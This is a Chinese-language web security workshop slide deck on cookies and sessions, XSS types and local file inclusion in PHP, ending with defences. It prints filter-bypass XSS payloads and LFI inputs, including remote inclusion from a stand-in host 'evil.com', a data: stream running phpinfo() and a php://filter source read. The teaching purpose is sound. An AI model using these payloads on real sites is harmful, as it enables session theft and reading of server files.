資訊安全基礎工作坊

Web Security 基礎講座

我是芥龍

芥龍

  • 大同大學資工系 四年級
  • TDOH 教材管理祕書
  • 精通 PHP 網頁程式設計
  • 專研網頁安全與伺服器維護
  • LKC 資安工程師

Cookie 與 Session

Cookie

  • 用於驗證身份
  • 儲存於本地端

Session

  • 用於驗證身份
  • 儲存於伺服端

Cookie

網頁小餅乾

Cookie 特性

  • 儲存於本地端
  • 具有時效性

Cookie 位置 - HTML header

 用 curl 察看 HTML header

Cookie 察看 - 使用 Firefox

Cookie 察看 - 使用 JS

// 取得 Cookie
document.cookie;

//設定 Cookie
document.cookie += "; cookieTitle=cookieContents";

Cookie 實例

Session

網頁狀態記錄者

Session

  • 資料儲存於伺服器端
  • 根據 *SESSION Cookie 作為判斷使用者基準
    • PHPSESSIONID
    • JSESSIONID
    • ASPSESSIONID

Session 應用

  • 記錄敏感資料
    • 登入狀態
    • 是否為管理員?
    • Flash Data

如何偽造學妹的身份

戀愛總是從「意外的邂逅」開始的(笑)

先來思路

  • 社交工程?
  • 撈封包抓帳密?
  • 釣魚網站?
  • 取得 Cookie?

XSS

網頁前端的美麗誤會

網頁讀取過程

  • 瀏覽器 Request
  • 伺服器 Response
  • 瀏覽器開始 渲染 介面
    • 其中有引用外部資源發出其它 Request
    • 開始執行 Web Script

網頁讀取過程

  • 瀏覽器 Request
  • 伺服器 Response
  • 瀏覽器開始 渲染 介面
    • 其中有引用外部資源發出其它 Request
    • 開始執行 Web Script

正確的流程

錯誤的使用

XSS 的靠北

  • 耗時
  • 成功率低
  • 少有泛型自動化測試工具
  • 進階手法需要有很紮實的 HTML/CSS/JS 基礎
    • 還有一些 變態 技巧
  • 被動性攻擊手法
  • 遇到 HTTP Only 的 cookie 基本上沒輒

BUT

任何網站都有機會 XSS

早期網頁不注重前端安全

其實現在也沒多注重……

有人認為 XSS 影響不大

反正又打不穿 Server

反正就只是一直跳 alert()

某些 黑客 表示:

斯斯有三種

XSS也有三種

反射型

儲存型/持久型

DOM 型

反射型 XSS

  • 通常將 JS 藏於網址
  • 利用 goo.gl 或類似服務縮網址
  • Webkit 核心瀏覽器可部份防禦

漏洞發掘

  • 頁面會顯示 GET 參數內容
  • 參數內容未經過過濾,或過濾不完全

攻擊思路

  • 判定頁面類型
    • 管理/個人介面(需先登入)
    • 登入頁面(尚未登入)
  • 判明攻擊手段
    • 偷 Cookie
    • 修改網頁內容
    • 以受害人身份實行某些行為

儲存/持久型 XSS

  • 將攻擊內容存於對方伺服器
    • 聊天室
    • 討論版

漏洞發掘

  • 見框就插
  • 確定資料不經過濾,或過濾不完全
  • 打不下你的 Server,我打別人的

DOM 型 XSS

  • 將攻擊內容存於受害者端
  • 可與伺服器無關
  • 通常會藉由頁面原有的 JS函式合併攻擊
  • 超難挖掘
<html>
<head>
</head>
<body>
    <h3>您現在的語言是 <strong id="lang"></strong></h3>
    <script>

        function getCookie( cookieName ){
            // 取得特定名稱的 Cookie 
        }

        document.getElementById('lang').innerHTML = getCookie('lang')
    </script>
</body>
</html>

從防禦謬失看 XSS 攻擊

去 "script" 字串

<?php 

function clearScript($str){
    return str_replace('script', '', $str);
}

?>

<html>
<head>
</head>
<body>
    <p> 啊哈哈哈,我過濾掉了 "string" 這個字串 </p>
    <p> <?php clearScript($_GET['str']) ?></p>
</body>
</html>

所以我說,那個大小寫?

/index.php?str=<sCrIpT>alert(1)</ScRiPt>

不分大小寫,去 "script" 字串

<?php 

function clearScript($str){
    return str_ireplace('script', '', $str);
}

?>

<html>
<head>
</head>
<body>
    <p> 啊哈哈哈,我過濾掉了 "string" 這個字串,而且這次不分大小寫! </p>
    <p> <?php clearScript($_GET['str']) ?></p>
</body>
</html>

/index.php?str=<sscriptcript>alert(1)</scscriptript>

/index.php?str=<sscriptcript>alert(1)</scscriptript>

/index.php?str=<img src="123.jpg" onerror="alert(1)">

onerror

網頁編碼

eval()

String.fromCharCode()

btoa()、atob()

img src

form input

onfocus + autofocus

iframe srcdoc

encodedURI()

https://html5sec.org/

http://www.xenuser.org/xss-cheat-sheet/

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Source: http://gotyour.pw/

Cheet Sheet

正確的方法?

PHP

  • htmlspecialchars()

幾種先進的前端框架

  • ReactJS
  • AnguarJS

LFI

Local File Inclusion

這個是私心最愛的漏洞種類之一

另外還有 SQL Injection 跟 任意上傳漏洞

常發生於 PHP

但不限於 PHP

基礎網頁設計

<html>
<head>
    <?php include('inc/head.php'); ?>
</head>
<body>
    <?php include('inc/header.php'); ?>
    <div id="content">
        <!--這裡放頁面的主要內容-->
    </div>
    <?php include('inc/footer.php'); ?>
</body>
</html>

不重複設計,合情合理

基礎網頁設計

<html>
<head>
    <title> HrJ 好胖 </title>
</head>
<body>
    <header>
        <h1> Hrj 真的好胖 </h1>
    </header>
    <div id="content">
        <?php 
            $page = 'info.php';
            include($page); 
        ?>
    </div>
    <footer>
        <p> 他最近去海邊跳水,於是火星上發現了水 </p>
    </footer>
</body>
</html>

只引入內容頁面,更方便了

基礎網頁設計

<html>
<head>
    <title> HrJ 好胖 </title>
</head>
<body>
    <header>
        <h1> Hrj 真的好胖 </h1>
    </header>
    <div id="content">
        <?php 
            $page = $_GET['page'] ?? 'main.php';
            include($page); 
        ?>
    </div>
    <footer>
        <p> 他最近去海邊跳水,於是火星上發現了水 </p>
    </footer>
</body>
</html>

讓 GET 參數決定要看什麼頁面

超方便的!

超危險的!

四大引入用函式

  • include
  • include_once
  • require
  • require_once

引入 PHP 執行 PHP

引入 HTML 顯示 HTML

引入純文字檔

顯示純文字檔

 不過就只是看光光

(挖鼻孔)

如果……

引入網路上現有的 PHP

/index.php?page=http://www.evil.com/evil.php

Windows 上不能用,可喜可賀!

預設是關閉的,可喜可賀

引入 data: 串流

/index.php?page=data:text/plaintext,<?php phpinfo();?>

預設是關閉的,可喜可賀

引入 php:// 串流

/index.php?page=php://filter/convert.base64-encode/resource=index.php

如何防禦?

關閉 allow_url_include

白名單引入

白名單機制

<?php 
    $whiteList = ['main', 'info', 'about', 'member'];
?>

<html>
<head>
</head>
<body>
    <header></header>
    <div id="content">
        <?php 
            if(in_array($_GET['page'], $whiteList, true)) 
                include($_GET['page'].'.php');
            else
                include('main.php');
        ?>
    </div>
    <footer></footer>
</body>
</html>

謝謝各位

資訊安全基礎工作坊 - WebSecurity(一)

By chivincent

資訊安全基礎工作坊 - WebSecurity(一)

  • 2,709